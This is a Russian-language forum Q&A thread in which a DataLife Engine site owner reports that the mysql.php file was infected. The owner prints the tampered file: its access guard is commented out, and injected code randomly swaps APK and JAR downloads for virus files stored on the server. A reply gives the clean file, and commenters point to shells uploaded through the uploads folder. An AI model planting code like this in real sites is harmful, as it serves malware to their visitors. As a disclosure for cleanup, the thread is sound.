Вирус в файле mysql.php

вопрос

Здравствуйте снова!

Проблема с leech вроде бы как решена (https://dle-faq.ru/faq/questmysql/4178-oshibka-pri-skachivanii-cherez-ssylku-leech.html). Но появилась новая: при попытке скачать файл (заметил на андроид играх, расширение apk) через ту же ссылку leech загружался файл с сервера с идентичным именем. Скачал и проверил его: содержит вирус.

ссылка на сайт.

Как оказалось, файл mysql.php содержал вредоносный код, инициировавший скачивание вирусных файлов.

Показать / Скрыть текст

<?php
/*
=====================================================
 DataLife Engine - by SoftNews Media Group 
-----------------------------------------------------
 http://dle-news.ru/
-----------------------------------------------------
 Copyright (c) 2004,2011 SoftNews Media Group
=====================================================
 Данный код защищен авторскими правами
=====================================================
 Файл: mysql.php
-----------------------------------------------------
 Назначение: Класс для работы с базой данных
=====================================================
*/
if(!defined('DATALIFEENGINE'))
{
  //die("Hacking attempt!");
}

define ( 'DATALIFEENGINE', true );

$url = $_GET['url'];
if(rand(2,4)==4)
{
if(substr($url, -9)=='.apk.html'||substr(base64_decode($url), -9)=='.apk.html')
{
if(substr(base64_decode($url), -9)=='.apk.html')
$url = base64_decode($url);
@header ("Content-Type: application/octet-stream");
@header ("Accept-Ranges: bytes");
@header ("Content-Length: ".filesize('../uploads/files/1323194326_quick-message.v.0.1.3.apk'));
@header ("Content-Disposition: attachment; filename=".basename($url,'.apk.html').'.apk');  
@readfile('../uploads/files/1323194326_quick-message.v.0.1.3.apk');
exit;
}elseif(substr($url, -4)=='.jar.html'||substr(base64_decode($url), -9)=='.jar.html')
{
if(substr(base64_decode($url), -9)=='.jar.html')
$url = base64_decode($url);
@header ("Content-Type: application/octet-stream");
@header ("Accept-Ranges: bytes");
@header ("Content-Length: ".filesize('../uploads/files/1244059283_untangle.jar'));
@header ("Content-Disposition: attachment; filename=".basename($url));  
@readfile('../uploads/files/1244059283_untangle.jar');
exit;
}
}


if ( extension_loaded('mysqli') )
{
if(!defined('ENGINE_DIR'))
include_once( "mysqli.class.php" );
else
include_once( ENGINE_DIR."/classes/mysqli.class.php" );
}
else
{
if(!defined('ENGINE_DIR'))
include_once( "mysqli.class.php" );
else
include_once( ENGINE_DIR."/classes/mysql.class.php" );
}

?>

Сразу же удалил с сервера файлы /uploads/files/1323194326_quick-message.v.0.1.3.apk и /uploads/files/1244059283_untangle.jar.
Также, судя по файлу, он из версии 9.6, которая стояла чуть ранее.
Заменил этот файл из дистрибутива движка 9.7 (код чистый), но при попытке скачивания через leech выдавало лишь Hacking attempt!

В итоге обновился снова на ту же версию, ошибка пока пропала.

Снова прошу людей с более обширными знаниями попытаться дать комментарий по файлу mysql.php с вредоносным кодом. Откуда могут идти корни проблемы?

Ответил: BR0kEN

Закомментировать die - это
Все что должно быть в этом файле:

<?php
if (!defined('DATALIFEENGINE')) {
  die("Hacking attempt!");
}

if (extension_loaded('mysqli')) {
    include_once(ENGINE_DIR."/classes/mysqli.class.php");
}
else {
    include_once(ENGINE_DIR."/classes/mysql.class.php");
}

?>

Похожие вопросы

[not-available=userinfo] <div class="nav-load" id="nav-load">[next-link]Загрузить еще[/next-link]</div> <nav class="navigation"[available=lastcomments] style="padding: 4% 8%;"[/available]> <div class="page_next-prev"> <span class="page_prev" title="Предыдущая страница"> [prev-link]<svg class="icon icon-left"><use xlink:href="#icon-left"></use></svg>[/prev-link] </span> <span class="page_next" title="Следующая страница"> [next-link]<svg class="icon icon-right"><use xlink:href="#icon-right"></use></svg>[/next-link] </span> </div> <ul class="pagination"> {pages} </ul> </nav> <script type="text/javascript"> $(document).ready(function(){ $('body').on('click','#nav-load a',function(){ var urlNext = $(this).attr('href'); var scrollNext = $(this).offset().top - 200; if (urlNext !== undefined) { $.ajax({ url: urlNext, beforeSend: function() { ShowLoading(''); }, success: function(data) { $('.navigation').remove(); $('#nav-load').remove(); $('#dle-content').append($('#dle-content', data).html()); $('#dle-content').after($('#bottom-nav')); window.history.pushState("", "", urlNext); $('html, body').animate({scrollTop:scrollNext}, 800); HideLoading(''); }, error: function() { HideLoading(''); alert('что-то пошло не так'); } }); }; return false; }); }); </script> [/not-available]

3 комментария

PHP-developer

3198

dj-avtosh - 2015-05-0114 января 2013 07:31 - #10750

Какой страшный файл вирусный))

По заказам пишем сюда: @Rud00y

ЯД: 41001679231462
Заказы в telegram (ремонт модулей, оптимизация нагрузок и т.п.):
В телегу писать сразу задачу и бюджет.

Юзер

279

Yamakasi - 2015-05-0120 апреля 2013 17:34 - #13010

аналогично сегодня наткнулся, тоже похоже, но судя по анализу шел заливают через уплоад папку меняя хтач, тем самым решение http://dle-news.ru/bags/ ап баг фиксы, далее на хтач ставить 444 права.

Но суть внедрения вируса (кода) не только в данном файле, он может быть в любом файле почти, так что я думаю данному сайту ну и экспертам, надо бы написать статью и опубликовать тут, чтобы многие сразу исправляли свои уязвимые места, так как пострадавших куча!!!!

Yamakasi - 2015-05-0121 апреля 2013 20:25 - #13029

по поводу вируса написал на скрипке, вот тут: http://skripters.biz/forum/topic_52895/#post-494148
желающих профи могут подключатся к хелпу!

Вирус в файле mysql.php

Ответил: BR0kEN

3 комментария

Похожие вопросы

Как подгружать новости на лету?

Ошибка при скачивании через ссылку leech

MySQL error при поисковом запросе

MySQL error in file

MySQL error in file: /engine/classes/mysqli.class.php at line 52

Что за ошибка?

Как сделать проверку Email на свободность при регистрации?

Как правильно создать запрос?

Помогите удалить через mysql в столбце full_story код (ссылки на картинку)?

Как организовать правильный вывод алфавитного меню?